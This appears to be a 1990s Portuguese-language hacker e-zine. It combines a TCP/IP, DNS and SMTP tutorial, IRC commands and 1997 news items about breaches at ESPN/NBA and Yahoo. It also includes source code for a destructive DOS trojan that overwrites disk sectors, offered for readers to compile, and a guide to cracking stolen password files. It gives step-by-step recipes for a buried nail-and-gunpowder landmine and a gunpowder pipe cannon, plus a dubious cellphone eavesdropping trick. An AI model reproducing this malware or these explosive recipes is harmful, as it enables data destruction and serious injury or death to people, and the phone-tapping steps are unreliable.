Este conjunto de protocolos foi desenvolvido p/permitir aos computadores compartilharem recursos numa rede.Toda a familia de protocolos inclue um conjunto de padroes que especificam os detalhes de como comunicar computadores, assim como tambem convená‰es para interconectar redes e rotear o trefego.

Mas ao contrario do que acontece na imprensa, o nome completo raramente eh usado.O TCP e o IP sao protocolos individuais que podem ser discutidos de modo isolado, mas eles nao sao os unicos protocolos que compoem essa familia. Pode acontecer de um usuario do TCP/IP nao utilizar o protocolo TCP propriamente dito, mas sim alguns protocolos da familia. A utilizacao do TCP/IP nessa situacao nao deixa de ser apropriada porque o nome se aplica de modo generico ao uso de qualquer protocolo da familia TCP/IP.


Pilha

=">
ARP: Address Resolution Protocol
ICMP: Internet Control Message Protocol
UDP: User Datagram Protocol
RIP: Routing Information Protocol
HTTP: Hypertext Transfer Protocol
NNTP: Network News Transfer Protocol
*SMTP: Simple Mail Transfer Protocol
SNMP: Simple Network Management Protocol
FTP: File Transfer Protocol
TFTP: Trivial File Transfer Protocol
INETPhone: Telephone Services on Internet
IRC: Internet Relay Chat
RPC: Remote Procedure Call
NFS: Network File System
DNS: Domain Name System

Talvez seja dificil lembrar todos esses acronimos, ate porque alguns tambem sao utilizados por outros protocolos (por exemplo o protocolo RIP da familia Novell, ou o IPX, eh diferente do RIP da familia TCP/IP). Alem do mais, saber exatamente quais sao os protocolos que compoem uma determinada familia nao eh pre-requisito para compreender o funcionamento basico da rede.


Uma visao resumida do Protocolo

Alguma transferencia se inicia com um pedido de leitura ou escrita de um arquivo, o qual tambem serve para pedir uma conexao. Se o servidor reconhece o pedido, a conexao eh aberta e o arquivo eh enviado num bloco de tamanho fixo de 512 bytes. Cada pacote de dados contem um bloco de dados e deve ser reconhecido por um pacote de acknowledgment antes que o proximo pacote possa ser enviado. Um pacote de dados menor que 512 bytes sinaliza a terminacao de uma transferencia. Se um pacote consegue se perder na rede, o receptor indicara time-out e podera retransmitir seu ultimo pacote (o qual pode ser dados ou um reconhecimento ). Isto motiva ao transmissor do pacote perdido a retransmitir o pacote perdido. O transmissor tem que guardar apenas um pacote para retransmissao, desde cada passo de reconhecimento garante que todos os pacotes mais anteriores tenham sido recebidos.

Notar que as duas maquinas envolvidas na transferencia sao consideradas transmissoras e receptoras. Uma envia dados e recebe reconhecimento, a outra envia reconhecimento e recebe dados.

Muitos erros sao causados pela terminacao da conexao. Um erro e sinalizado enviando um pacote de erro. Este pacote nao e reconhecido nem retransmitido (i.e., um servidor TFTP ou usuario pode terminar depois enviando uma mensagem de erro) assim o outro terminal da conexao nao deve recebe-lo. Portanto os time-out sao usados para detectar tais terminais quando o pacote de erro foi perdido.


Protocolo IP

O protocolo IP define mecanismos de expedicao de pacotes sem conexao. IP define tres pontos importantes:

  1. A unidade basica de dados a ser transferida na Internet.
  2. O software de IP executa a funcao de roteamento, escolhendo um caminho sobre o qual os dados serao enviados.
  3. Incluir um conjunto de regras que envolvem a ideia da expedicao de pacotes nao confiaveis. Estas regras indicam como os hosts ou gateways poderiam processar os pacotes; como e quando as mensagens de erros poderiam ser geradas; e as condicoes em que os pacotes podem ser descartados.

Dentro do protocolo IP tem os seguintes topicos:

EndereÁos IP
Formato do datagrama IP
Roteamento do datagrama IP
ICMP (Internet Control Message Protocol)


TCP (Transport Control Protocol)

TCP e um protocolo da camada de transporte. Este e um protocolo orientado a conexao, o que indica que neste nivel vao ser solucionados todos os problemas de erros que nao forem solucionados no nivel IP, dado que este ultimo e um protocolo sem conexao. Alguns dos problemas com os q TCP deve tratar são:

pacotes perdidos ou destruidos por erros de transmissao. expedicao de pacotes fora de ordem ou duplicados.

O TCP especifica o formato dos pacotes de dados e de reconhecimentos que dois computadores trocam para realizar uma transferància confiavel, assim como os procedimentos que os computadores usam para assegurar que os dados cheguem corretamente. Entre estes procedimentos estao:

Distinguir entre multiplos destinos numa maquina determinada.
Fazer recuperacao de erros, tais como pacotes perdidos ou duplicados.

Para entender melhor o protocolo TCP a seguir veremos alguns conceitos, para depois passarmos ao formato TCP.

Portas, Conexoes e Endpoints
Segmentos, fluxo e Numero de Sequencia
Formato do Segmento TCP

DNS (Domain Name System) O DNS (Domain Name System) e um esquema de gerenciamento de nomes, hierarquico e distribuido. O DNS define a sintaxe dos nome s usados na Internet, regras para delegacao de autoridade na definicao de nomes, um banco de dados distribuido que associa nomes a atributos (entre eles o endereco IP) e um algoritmo distribuido para mapear nomes em enderecos. O DNS e especificado nas RFCs 882, 883 e 973.

As aplicacoes normalmente utilizam um endereco IP de 32 bits no sentido de abrir uma conexao ou enviar um datagrama IP. Entretanto, os usuarios preferem identificar as maquinas atraves de nomes ao inves de numeros. Assim e necessario um banco de dados que permita a uma aplicacao encontrar um endereco, dado que ela conhece o nome da maquina com a qual se deseja comunicar.

Um conjunto de servidores de nomes mantem o banco de dados com os nomes e enderecos das maquinas conectadas a Internet. Na realidade este e apenas um tipo de informacao armazenada no domain system (sistema de dominios). Note que e usado um conjunto de servidores interconectados, ao inves de um unico servidor centralizado. Existem atualmente tantas instituicoes conectadas a Internet que seria impraticavel exigir q elas notificassem uma autoridade central toda vez que uma maquina fosse instalada ou trocasse de lugar. Assim, a autoridade para atribuicao de nomes e delegada a instituicoes individuais.Os servidores de nome formam uma arvor, correspondendo a estrutura institucional. Os nomes tambem adotam uma estrutura similar.

Um exemplo tipico e o nome chupeta.jxh.xyz.br. Para encontrar seu endereco Internet, pode ser necessario o acesso a ate quatro servidores de nomes.Inicialmente deve ser consultado um servidor central, denominado servidor raiz, para descobrir onde esta o servidor br. O servidor br e o responsavel pela gerencia dos nomes das instituicoes/empresasbrasileiras ligadas a Internet. O servidor raiz informa como resultado da consulta o endereco IP de varios servidores de nome para o nivel br (pode existir mais de um servidor de nomes em cada nivel, para garantir a continuidade da operacao quando um deles para de funcionar). Um servidor do nivel br pode entao ser consultado, devolvendo o endereco IPdo servidor xyz.

De posse do endereco de um servidor xyz e possivel solicitar que ele informe o endereco de um servidor jxh, quando, finalmente, pode-se consultar o servidor jxh sobre o endereco da maquina chupeta.O resultado final da busca e o endereco Internet correspondente ao nome chupeta.jxh.xyz.br Cada um dos niveis percorridos e referenciado como sendo um dominio. O nome completo chupeta.jxh.xyz.br e um nome de dominio.

Na maioria dos casos, nao e necessario ter acesso a todos os dominios de um nome para encontrar o endereco correspondente, pois os servidores de nome muitas vezes possuem informacoes sobre mais de um nivel de dominio o que elimina uma ou mais consultas.Alem disso,as aplicacoes normalmente tem acesso ao DNS atraves de um processo local (servidor para as aplicacoes e um cliente DNS),que pode ser implementado de modo a guardar os ultimos acessos feitos, e assim resolver a consulta em nivel local. Essa abordagem de acesso atraves de um processo local, simplifica e otimiza a tarefa das aplicacoes no que tange ao mapeamento de nomes em enderecos, uma vez que elimina a necessidade de implementar, em todas as aplicacoes que fazen uso do DNS, o algoritmo de caminhamento na arvore de dominios descrito anteriormente.

O DNS nao se limita a manter e gerenciar enderecos Internet.Cada nome de dominio e um no em um banco de dados,que pode conter registros definindo varias propriedades. Por exemplo, o tipo da maquina e a lista de servicos fornecidos por ela. O DNS permite que seja definido um alias (nome alternativo) para o no. Tambem e possivel utilizar o DNS para armazenar informacoes sobre usuarios, listas de distribuicao ou outros objetos.

O DNS e particularmente importante para o sistema de correio eletronico. No DNS sao definidos registros que identificam a maquina que manipula as correspondencias relativas a um dado nome, identificado assim onde um determinado usuario recebe suas correspondencias. O DNS pode ser usado tambem para definicao de listas para distribuicao de correspondencias


SMTP - Simple Mail Transfer Protocol

O SMTP (Simple Mail Transfer Protocol) e o protocolo usado no sistema de correio eletronico na arquitetura Internet TCP/IP. Um usuario, ao desejar enviar uma mensagem, utiliza o modulo interface com o usuario para compor a mensagem e solicita ao sistema de correio eletronico que a entregue ao destinatario. Quando recebe a mensagem do usuario, o sistema de correio eletronico armazena uma copia da mensagem em seu spool (area do dispositivo de armazenamento), junto com o horario do armazenamento e a identificacao do remetente e do destinatario. A transferencia da mensagem e executada por um processo em background, permitindo que o usuario remetente, apos entregar a mensagem ao sistema de correio eletronico, possa executar outras aplicacoes.

O processo de transferencia de mensagens, executando em background, mapeia o nome da maquina de destino em seu endereco IP, e tenta estabelecer uma conexao TCP com o servidor de correio eletronico da maquina de destino. Note que o processo de transferencia atua como cliente do servidor do correio eletronico. Se a conexao for estabelecida, o cliente envia uma copia da mensagem para o servidor, que a armazena em seu spool. Caso a mensagem seja transferida com sucesso, o servidor avisa ao cliente que recebeu e armazenou uma copia da mensagem.Quando recebe a confirmacao do recebimento e armazenamento, o cliente retira a copia da mensagem que mantinha em seu spool local. Se a mensagem, por algum motivo, nao for transmitida com sucesso, o cliente anota o horario da tentativa e suspende sua execucao. Periodicamente o cliente acorda e verifica se existem mensagens a serem enviadas na area de spool e tenta transmiti-las. Se uma mensagem nao for enviada por um periodo, por exemplo de dois dias, o servico de correio eletronico devolve a mensagem ao remetente, informando que nao conseguiu transmiti-la.

Em geral, quando um usuario se conecta ao sistema, o sistema de correio eletronico e ativado para verificar se existem mensagens na caixa postal do usuario. Se existirem, o sistema de correio eletronico emite um aviso para o usuario que, quando achar conveniente,ativa o modulo de interface com o usuario para receber as correspondencias.

Uma mensagem SMTP divide-se em duas partes: cabecalho e corpo, separados por uma linha em branco. No cabecalho sao especificadas as informacoes necessarias para a transferencia da mensagem. O cabecalho e composto por linhas, que contem uma palavra-chave seguida de um valor. Por exemplo, identificacao do remetente (palavra-chave "to:"seguida do seu endereco), identificacao do destinatario, assunto da mensagem, etc... No corpo sao transportadas as informacoes da mensagem propriamente dita. O formato do texto e livre e as mensagens sao transferidas no formato texto.

Os usuarios do sistema de correio eletronico sao localizados atraves de um par de identificadores. Um deles especifica o nome da maquina de destino e o outro identificaa caixa postal do usuario. Um remetente pode enviar simultaneamente varias copias de uma mensagem, para diferentes destinatarios utilizando o conceito de lista de distribuicao(um nome que identifica um grupo de usuarios). O formato dos enderecos SMTP e o seguinte:

nome_local@nome_do_dominio

onde o nome_do_dominio identifica o dominio ao qual a maquina de destino pertence (esse endereco deve identificar um grupo de maquinas gerenciado por um servidor de correio eletronico). O nome local identifica a caixa postal do destinatario.

O SMTP especifica como o sistema de correio eletronico transfere mensagens de uma maquina para outra. O modulo interface com usuario e a forma como as mensagens sao armazenadas nao sao definidos pelo SMTP. O sistema de correio eletronico pode tambem ser utilizado por processos de aplicacao para transmitir mensagens contendo textos.


OBs.: Nao vou por nada sobre invasoes..... pq isso esta virando ZONA.. todo mund0 fica perguntando... ETC..... "vcs" sabem do que eu estou falando!!

3- Trojans

Bom...primeiro vou explicar o q Ç Trojan Horse ou melhor cavalo de troia. Os trojans sao programas disfarcados, ou seja, Ç um programa que voce pensa que faz tal coisa, mais na verdade ele faz uma coisa bem diferente e tenta tb fazer com q vc naum perceba o que esta acontecendo!! E.g: Voce faz um programa que diz por exemplo proteger suas pastas contra invasoes em seu computador!! Ai vc todo todo!! entra na iNET dizendo: "- Estou protegido... bla bla bla!! MAS...na verdade, esse programa que diz proteger suas pastas esta mandando por e-mail todos os seus .PWL (acho q Ç so 1!! mais sei lah!! eheh) onde estao suas senhas criptografadas.... ai vc se f.... bah!!

p/ escapar desse tipo de trojan basta nao salvar as senhas no HD!! bah!! simples!! acho q Ç isso!! tente , invente , hackeie diferente!! hehehe Existem algumas pessoas dizendo tb que BAd Com's e trojans sao a mesma coisa ...na minha opiniao acho q quem disse isso viajo!!! pq BAd CoM's naum sao "programas" disfarcados. Eles na maioria das vezes so formatam o HD e pronto. bah!! Existe tb um negocinho chamado Worm que sao apenas "trojans" mais inteligentes..Eles agem como um virus ele pode ate se multiplicar!! This's k00l!! hehe...a maioria dos Bad Com's sao feitos em Batch, os trojans em C, e os Worm em Assembly!! mas isso naum quer dizer nada!! vc pode fazer um worm em batch tb!! um Bad Com em C e um trojan em..hehe Assembly!!

Existem muitos por ai!! Ç so procurar!! Quem por ventura!! nao achar nenhum trojan!! me manda um E-Mail que eu te arranjo!! um compilado ou um source!! bah!! MAIS PROCURA!!!! Bah!! vo manda um trojan em C !!! so falta compila!!

------------------------------------------------------------------------------ 
Ai vai.......
chama-se UGLY
---------------------------\/----------------------------------\/------------
#include <dos.h>
#include <string.h>

main()
{
char *vir;
int i;

strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};

---------------------------------------------\/\/\/\/\/\/\/\/\/\/\/\/\/\------

bah!! ai foi!!! ehehe quem nao conseguir compilar!! bah!! sei lah!!
procura um compilador !!eheheh :)-

4- Phreaking (isso Çh tesao...ehhehe :/)

Obviamente ninguem poe tudo que sabe sobre um determinado assunto em um ZINE.... Vou por o basico nos ZINEs.....quem quiser que eu ponha algo mais eu coloco, mais nao informacoes muito avancadas, pq c nao vira "zona".. Vcs viram esse negocio da BLUE BOX... todo mundo sabe que existe ou que da p/ fazer.....entao c vc gosta de hacking...me manda um MAIL... que eu falo mais algumas coisas... c vc gosta de CRACKER tb.... e Phreaking idem....hehe( nao vao perguntar coisas obvias nem absurdas c quiserem trocar informacoes tb... MAIL-ME)


Phreaking - escuta atraves de celular

celular (motorola)

  1. tire a bateria do celular
  2. atras do aparelho tem 3 contatos (os da ponta sao levantados)
  3. coloque um papel aluminio no do meio e no da direita
  4. recoloque a bateria
  5. no visor ira aparecer varios codigos (sao da central)
  6. digite 08#, 08#
  7. o celular ira fazer um barulho estranho
  8. digite X#, onde X é um valor de 1160 até 1260
  9. pronto vc já tem uma escuta de celular !!!

EXPLICACAO:

  1. Voce quando coloca o papel aluminio atras do aparelho, voce entra no mode de Programação do celular
  2. Os codigos que aparecem, são os codigos de programação do ceu celular e da sua região
  3. digitando o 1 (08#) voce desabilita o MUTE do seu celular
  4. digitando o 2 (08#) voce entra na area dos cogidos da antena da sua cidade
  5. o X do 8 passo, e o numero em que cada celular se encaixa no computador central de celular

by Phanton Phreak

5- IRC

O que Ç IRC!!?? bah!! Internet Relay Chat!! o "vovo" dos chatz!! eheh onde existem pessoas para trocar informacoes!! PhiLez, etc!! onde na maioria das vezes os "hackers" ( eu coloco em "" pq existe muito laMaHz!! la!!) de IRC que trocam seus, nukes, virus, trojans, worM's!! msGs encripitadas!!! etc!!

Bom!! algumas dicas de IRC que seria o Titulo O Que Fazer no IRC, bla bla bla
Para pegar o IP de alguem digite:
/dns Nick da Pessoa

Para mudar de Nick:
/nick seu novo nick!!

Comandos p/ dar uma zuada!!!

nota: a maioria dos comandos de kikar, banir, mudar o topico, etc!!
somente sao usados pelos OP's do canal e os logico os fundadores!!!
Mas mudar o topico por exemplo da p/ mudar 100 ser OP. bah!!


Kicar um usuario..........: /kick #canal nick msg
Dar KILL (so p/ IRCops)...: /kill nick msg
Banir por nick............: /ban #canal +b 1
Banir por IP.............: /ban #canal +b nick 2
Banir por host...........: /ban #canal +b nick 3
Banir por dominio........: /ban #canal +b nick 4

Comandos para se defender!
alguns naum funcionam mais!!!!!

Proteger o IP... tem um programa chamado Spoof!! ou MySpoof !!!
Proteger usuario...........: /protect nick
Liga/deslida 'protect mode': /protect [on/of]
Liga/deslida 'events'......: /events [on/of]
Liga/deslida 'remote'......: /remote [on/of]

Comandos uteis p/ vc!


Enviar um arquivo via DCC..: /dcc chat nick
Mandar msg a todos os canais: /amsg msg
Abrir PVT com uma pessoa....: /query nick
Mandar uma mensagem privada.: /msg nick msg
Ver quem esta em um canal...: /names #canal
Dar um finger...............: /ctcp nick finger
Dar um ping.................: /ctcp nick ping

obtendo informacoes!!


Listar os canal do servidor...: /list
Ver info dos usuarios.........: /whois nick
InformaÁoes de um canal logado: /chanel
Ver usuarios com mesmo IP.....: /who nick
ver info do usuario que saiu..: /whowas nick
Ver todos os usuarios online.: /who
Verifica usuario que esta na net: /finger email
lista usuarios de um nivel..: /ulis nivel
Obter info do servidor......: /info
Ver os administradores.....: /admi
Ver o numero de usuarios...: /lusers
Ver quais servidores linkados: /links

Checar 'timers' ligados: /groups -e

Setando os modos de um canal!


Privado....................: /mode #canal +p
Secreto....................: /mode #canal +s
So os ops mudam o topico...: /mode #canal +t
Nao receber msg de fora....: /mode #canal +n
Numero limitado de usuarios: /mode #canal +l $num
So usuarios 'invitados'....: /mode #canal +i
Canal com senha............: /mode #canal +k $senha
Canal moderado.............: /mode #canal +m
Tirar algum dos modos......: /mode #canal -modo_escolhido

Setando os modos de um usuario!


Invisivel......: /mode nick +i
Server msg......: /mode nick +s
Wall-ops........: /mode nick +w
Voice...........: /mode #canal +v nick

6- Cracking

BoM...hehe craking Ç da horinha!!! vou "tentar" ensinar como usar o cracker Jack.... Ç muito simples!!! primeiro voce tem que pegar as senhas em algum servidor ( a parte mais dificil!! eheh, mas nao impossivel!!!). Ai a senhas vaum estar tudo encriptado, certo?? bah!! entao!! vc vai precisar de uma WordList isso Ç facil de conseguir!!! mas o problema e q uma boa WordList tem +/- 1GB !!! mais mais uma de uns 20MGz ja Ç da hora!! hehe ai vc roda o Cracker Jack... vai aparecer o seguinte!!

Cracker Jack Version 1.4 for OS/2 and DOS (386).
Copyright (C)1993, The Jackal, DenMark


PWfile: < aki vc coloca onde esta o arquivo com as senhas>

Wordfile: < aki vc coloca onde esta a sua WordList>


Nota: o Meu cracker Jack da uns paUz violento!!!( so chega ate ae!!
mais c alguem quiser saber mais!! me manda um Mail!! que eu explico!!
Ahh deve ter tb!! uns cracker Jack mais velhos q o meu!! e ate mais novos c pa!! ehe


That's all FolK'z!!

7- Anarchy!!!

OoOOoOOo this's danger!! bah!!! p/ quem gosta e m prato cheio!!
ou melhor!! um ZiNe cheio!! eheheh ( naum de merda, claro!! ehehhe)

Como fazer uma mina caseira

As minas foram muito usadas na II guerra mundial, hoje em dia estao sendo banidas , porem ainda sao muito usadas em guerrilhas (como em Angola). As minas sao dispositivos que ao serem pisados explodem podendo lancar projeteis ou nao. O objetivo das minas nas guerras e guerrilhas e causar destruicao em veiculos ou causar a morte ou grandes ferimentos no inimigo.

Ingredientes:

  • 1 prego comprido
  • 1 barra de durepox ou superdurepox
  • 1 pote de maionese (de vidro)
  • Algumas bolas de gude
  • Algumas tachinhas ou pequenos pregos
  • polvora (+-70% do vol. do pote)

Pegue o pote , limpe-o ,ponha uma camada de polvora no fundo ,ponha uma camada de pregos ou tachinas, ponha outra camada de polvora , ponha uma camada de bolinhas de gude , ponha outra camada de polvora. Seja generoso com as camadas de polvora, pois quando voce chegar na ultima camada ela deve ter um dedo de largura e chegar ate o inicio da rosca do pote , comprima levemente para que a polvora se acomode , e se a ultima camada depois da compressao ficar abaixo do inicio da rosca do pote , ponha mais um pouco de polvora. Entao junte os bastoes de durepox (bata cada um deles separadamente com um martelo para que eles fiquem mais maleaveis) faca uma camada de durepox da altura do espaco que falta no pote ,e com outro pote igual corte o durepox. Ponha o prego comprido no pedaco cortado de durepox e ponha o pedaco tampando o pote , tome cuidado para que nao fique uma camada de ar entre o durepox e a polvora. Esta pronta a sua mina! Quando pronta ele deve parecer com este desenho:

LEGENDA:

   o -> bolas de gude 
= -> Durepox
! -> Prego comprido
| -> Paredes do pote
/ -> " " "
\ -> " " "
_ -> " " "
* -> Tachinhas ou pequenos pregos
- -> rosca do pote
: -> Polvora

!
-|==!==|-
-|==!==|-
/:::::::\
|ooooooooo|
|:::::::::|
|*********|
|:::::::::|
|_________|

Obs: apesar de aparecerem tres "!" elas siginificam apenas um prego grande.

COMO USAR:

Enterre o pote de forma que fique somente o prego aparecendo, entao quando algo fizer pressao sobre o prego e o mesmo entrar no pote KAABOOOMMM.

BoMBaZ, BoMbAz, BoMbAz!!!

Nao sei pq esse titulo!! heheh vo taka aqui como fazer um Minicanhao!!!
Ç muito ridiculo!!! mais ai vai!!! hehehe :-)


Projeto - Minicanhão


Ingredientes:

Para fazer este minicanhão voce vai precisar de:

  • 1 tubo (de PVC ou metal,de metal é mais seguro) de 40 CM
  • 3 tabletes de durepox
  • 1 tampa com rosca para o tubo ( o nome eu nao me lembro mas em qualquer loja de material de contrução tem) prefira os de metal
  • Polvora (veja a receita no AO-L #1)
  • bolas, pedras ou qualquer objeto que caiba dentro do tubo e que se encaixe bem dentro dele
  • 1 furadeira
  • 1 broca fina
  • 1 pavio (veja receito abaixo desta matéria)

Preparo:

Pegue o tubo e enrrosque a tampa numa das pontas . Passe uma camada de durepox ao redor do tubo e sobre a tampa para fortalecê-lo. Deixe o durepox endurecer , e faÁa um furo no cano proximo a tampa. Ponha o pavio no buraco e ponha um pouco de pólvora dentro do tubo , comprima a pólvora levemente . Ponha a bola ou qualquer outro objeto que você queira que seja lançado. Quando pronto o canhão deve ser mais ou menos assim:

              \\ 
****\\***********************************
*=====\\==================================
*|++++++++(-)
*|++++++++(_)
*=========================================
*****************************************
Legenda:
^^^^^^^^
* -> Durepox
= -> Cano
| -> Tampa
+ -> Pólvora
\\ -> Pavio
(-) -\ BOLA
(_) -/

Uso:
Deixe o minicanhão apoiado firmemente em alguma coisa acenda o pavio e saia de perto, depois do disparo vá ver o estrago que voce provocou.

8- News Hacker

Hackers causaram prejuizo de US$ 100 milhoes


Se voce ainda acredita que hacker e apenas uma invencao da industria cinematografica, esta na hora de mudar de opiniao. Estudo conduzido pelo FBI junto ao Computer Security Institute (CSI), aponta que 75% de 563 especialistas em sistemas de seguranca das maiores companhias americanas entrevistados relataram perdas financeiras no ultimo trimestre devido a brechas nos sistemas de seguranca das empresas em que trabalham. As invasoes dos hackers foram realizadas com intencao de fraudes financeiras, roubos de informacoes sigilosas e sabotagens usando virus de computador. A soma dos danos a 249 companhias entrevistadas totalizou mais de US$ 100 milhoes - em estimativa conservadora. "Boa parte das empresas ainda nao sabe como reportar esse tipo de crime as autoridades e muitas nao identificam sequer o ataque de hackers a seus sistemas", disse Patrice Rapalus, diretor do CSI. Ha outros dados importantes apontados pelo estudo. Aumentou em 10% o numero de gerentes de CDP que citam a conexao de Internet como frequente ponto de ataque dos hackers. Enquanto 43% dos entrevistados aponta que suas empresas foram atacadas por agentes externos entre 1 e 5 vezes, 45% dos questionarios nao esclarecem se esses ataques foram realizados interna ou externamente. Mais de 60% das pessoas que responderam aos questionarios dizem que nao existe em suas companhias um responsavel para agir em caso de emergencia contra um ataque de hackers. Outra estatistica gritante: apenas 17% dos casos de ataques contra os sistemas das empresas foram relatados as autoridades do pais.

Fonte: ZAZ/IDG
Data: 10/07/97

Ataque de Hackers nos sites da NBA e ESPN

Os usuarios da rede que compraram itens nos sites ESPNet ou NBA Store essa semana levaram um susto: receberam mensagens anonimas por e-mail avisando que foram vitimas da falta de seguranca nos sites e que seus numeros de cartoes de credito e enderecos estavam facilmente disponiveis. O provedor dos sites - a Starwave Corp. - decidiu enviar tambem uma mensagem, esta pelo correio normal, a 2.397 compradores online, alertando que informacoes de seus cartoes de credito poderiam estar sendo usadas de maneira impropria. Segundo a empresa, as informacoes estavam numa area segura e criptografada dos sites, mas que foi acessada por um invasor que tinha a senha necessaria.


"Isso nao foi feito por um hacker", disse um representante da Starwave. Eles sabiam como entrar no sistema e usar ilegalmente informacao classificada. A area invadida era um sistema de processamento que envia os pedidos dos compradores de cada site para a 1-800-PRO-TEAM, uma companhia americana de preenchimento.

A Starwave chamou o FBI e o Servico Secreto Americano para investigar o caso e descobrir o intruso. Tambem implementou um novo processo de criptografia e mudou todas as senhas do sistema. Nos achamos que a senha foi usada diretamente por alguem envolvido com o sistema, ou passada dessa pessoa para outra.

Fonte: ZAZ/IDG
Data: 10/07/97


Credit data taken off NBA, ESPN sites

( Meu ingles Ç um lixo!! entao nem "tentei"traduzir!!! bah!!)

Starwave which hosts the popular NBA and ESPN sports sites, is warning customers to contact their creditors in the wake of news about an "intruder" who took credit card numbers from the ESPN and NBA Web sites and then sent messages to the card owners, warning them about the alleged security flaws.It appears that the intruder never used or intended to use the credit card numbers, though. Patrick Naughton, president and chief technology officer at Starwave, said the alleged burglar did not perform any complex hacks to break into the sites, but instead used a password to get in and download credit card numbers from people who had made Net purchases that day. Naughton added a few people had the password, which is used to access credit card numbers by both employees at the company and at buildings where the actual merchandise is stored. "We don't know who it is," he said. "We don't know how they got it. Some people have it as a matter of business." Naughton noted that he's pretty sure, however, that digital traces will lead him to the person who did it. Naughton refused to label the act either a hack or a break-in. But in the email he sent to 2,397 customers, he called the perpetrator an "intruder" and said that Starwave changed all passwords and added a level of encryption to credit card data. He also said the company has contacted authorities including the FBI, the Secret Service, and credit card issuers.

So far, there is no evidence that shows the intruder actually used the cards. Instead, it seems that he took the data and used it to send messages to credit card owners, warning them of alleged security problems.

"Beware Michael Williams!" began one email sent to Williams, who had bought a New York Knicks T-shirt for his father's birthday on one of the sites. "You are the victim of a careless abuse of privacy and security. Your recent use of a credit card on 'zonestore-espnet.sportszone.com' or 'store.nba.com' is documented in a simple text file on a Web page with practically no security. One of our associates found the URL posted in a Usenet group." The message also gave Williams his address, phone number, and the last eight digits of his credit card number. It also stated: "We feel the victims of this abuse deserve to know the truth."

In addition, it recommended that Williams contact his credit card company. "Clearly, [Starwave] doesn't consider the protection of individual credit card numbers a worthwhile endeavor. (This is one of the worst implementations of security we've seen.) Because of the potential danger to you, we suggest you cancel your credit card immediately and check with your local authorities regarding any specific rights you may have in this matter. "This notice was sent on behalf of an anonymous organization seeking to make the Internet a safe place for the consumer to do business," the email concludes. But Starwave's Naughton said there were no inherent security flaws on the sites, likening the alleged crime to an employee with access to an office who takes a file with credit card numbers from someone's desk or downloads credit card data onto a computer disk, leaves with that information, and then warns everyone about a security problem because nothing stopped him or her.

Naughton also reassured Netizens in the Starwave letter that this was an isolated event. "We have determined this incident was not a random person hacking past security measures, rather someone who unlawfully used inside information to commit this crime." "My belief is they have no intention of selling or brokering the credit card information," Naughton said of the perpetrators. "They just wanted to make a statement to the Net. Ironically, it's not a statement about the Internet at all. If I have keys to a building that doesn't have armed guards, I can open the building and get in." Williams, who called the email with his information "disconcerting," said he was never alarmed because "I do not feel I would be liable for any of the improper charges." He added that after getting Naughton's letter, he was even less concerned. "I have faith in American Express to help me with any problems that may arise."

Source: C|Net News
Date: 10/07/97


IBM lanÁa alarme contra Hackers

A IBM anunciou, durante a feira Internet World'97, que acontece esta semana em Chicago, um alarme "contra ladroes" como parte de seus servicos de atendimento a emergencia na Internet. O alarme e, na verdade, um sistema de deteccao de invasao destinado aos clientes que participam de transacoes eletronicas. O sistema permite aos experts em segurança da IBM detectarem, em tempo real, tentativas de violacao a redes de consumidores atraves do uso de sensores NetRanger do WheelGroup. Uma vez alertada, a IBM pode ligar para os clientes e avisa-los que estao sofrendo um ataque. Alguns consumidores estao testando o produto que sera lancado nos EUA em outubro e no mundo inteiro no inicio de 1998. A empresa esta investindo em outros servicos de atendimento a emergencia na Internet. Entre eles, esta o "hacking Etico", um ataque proposital, feito pelo laboratario de analises de seguranca global da IBM, que tenta invadir os sites para avaliar se seus pontos fracos podem ser do conhecimento dos usuarios antes que um ataque ocorra. Outra modalidade e o atendimento a emergencias no meio da noite. Neste caso, a IBM desloca funcionarios para tirar o site da rede e avaliar qual informacao foi vitima de hacking. As empresas interessadas nesse tipo de atendimento devem desembolsar US$ 75 mil por ano, incluindo o sistema de detecaoo de invasao.


Fonte: ZAZ/IDG
Data: 26/07/97


ATAQUE FEITO A YAHOO!

O Yahoo, o catalogo de paginas Web mais visitada do ciberespaço, sofreu um ataque de hackers. Eles "derrubaram" o site numa segunda-feira, durante 15 minutos, e ameaçaram lançar um vírus de computador que destruiria os arquivos do Yahoo. O ataque teve como objetivo forçar a liberação do hacker Kevin Mitnick.


Kevin Mitnick foi preso em 1995, depois de fraudes com cartıes de crédito feitas nos sistemas de home banking e Internet banking.

Os hackers, quando atacaram o site, colocaram uma mensagem assustadora na página:

"Durante todo o mÍs passado, todos que visitaram tÍm uma bomba implantada nos seus computadores.

No dia do Natal, esta bomba se ativará". A mensagem prosseguia informando que havia um "código que funcionaria como antídoto" e que o Governo americano teria acesso a este código, caso libertasse o hacker preso.

Os administradores do Yahoo procuraram tranqüilizar os internautas que visitam o site, garantindo que nenhum computador de visitantes seria atingido. Segundo a porta-voz do Yahoo, nenhum vírus foi detectado e, além disso, a mensagem só teria sido vista por internautas que usam o browser Lynx, usado por menos de 1% dos 26 milhıes de pessoas que acessam o site mensalmente.

Fiquei sabendo que a Yahoo usa um sistema onde diferentes browsers usam diferentes servidores web. Por isso apenas usuários do lynx (e talvez usuários de versıes muito antigas do Netscape) viram a página.

As áreas afetadas estão localizadas na central de dados Globalcenter. Ele fornece serviços de servidor para Yahoo (e alguns outros sites).

Fui informado que o ataque atualmente veio de dentro do firewall através de um modem dialup. As senhas para conta de usuários nas máquinas foram comprometidas.

VocÍ pode ver uma cópia da homepage hackeada em:

http://www.clipper.net/~skully/yahoo/

Note que a página tinha um link para:

http://www.yahoo.com/yahooz-el8-search-engine-src.zip

Imagine se o código fonte do sistema de pesquisa do Yahoo estava realmente ali e se alguém copiou ele.

A questão real, que irá ficar provavelmente sem resposta é qual era o furo? A primeira opção na lista é um defeito no DNS que redirecionava a página da Yahoo para algum outro servidor Web, mas o que não cheira bem é que a Yahoo foi capaz de resolver o problema depois de eles disseram o que estava havendo.

Há especulação (sem confirmação, em todos na Yahoo! Incluindo Filo, que está mantendo esse debate) que o servidor web da Yahoo foi feito em uma versão antiga do Apache e no processo eles podem ter neglegenciado em resolver algum(ns) dos furos das versıes antigas do Apache.

Em qualquer caso, as palavras que supostamente veio da Yahoo foi que esse exploit não tem efeito sobre outros servidores FreeBSD. Assim, esse deve ser um caso de um erro de alguma versão do Apache, ou algum código mal feito em CGI (talvez a administração remota) pode ter causado isso.


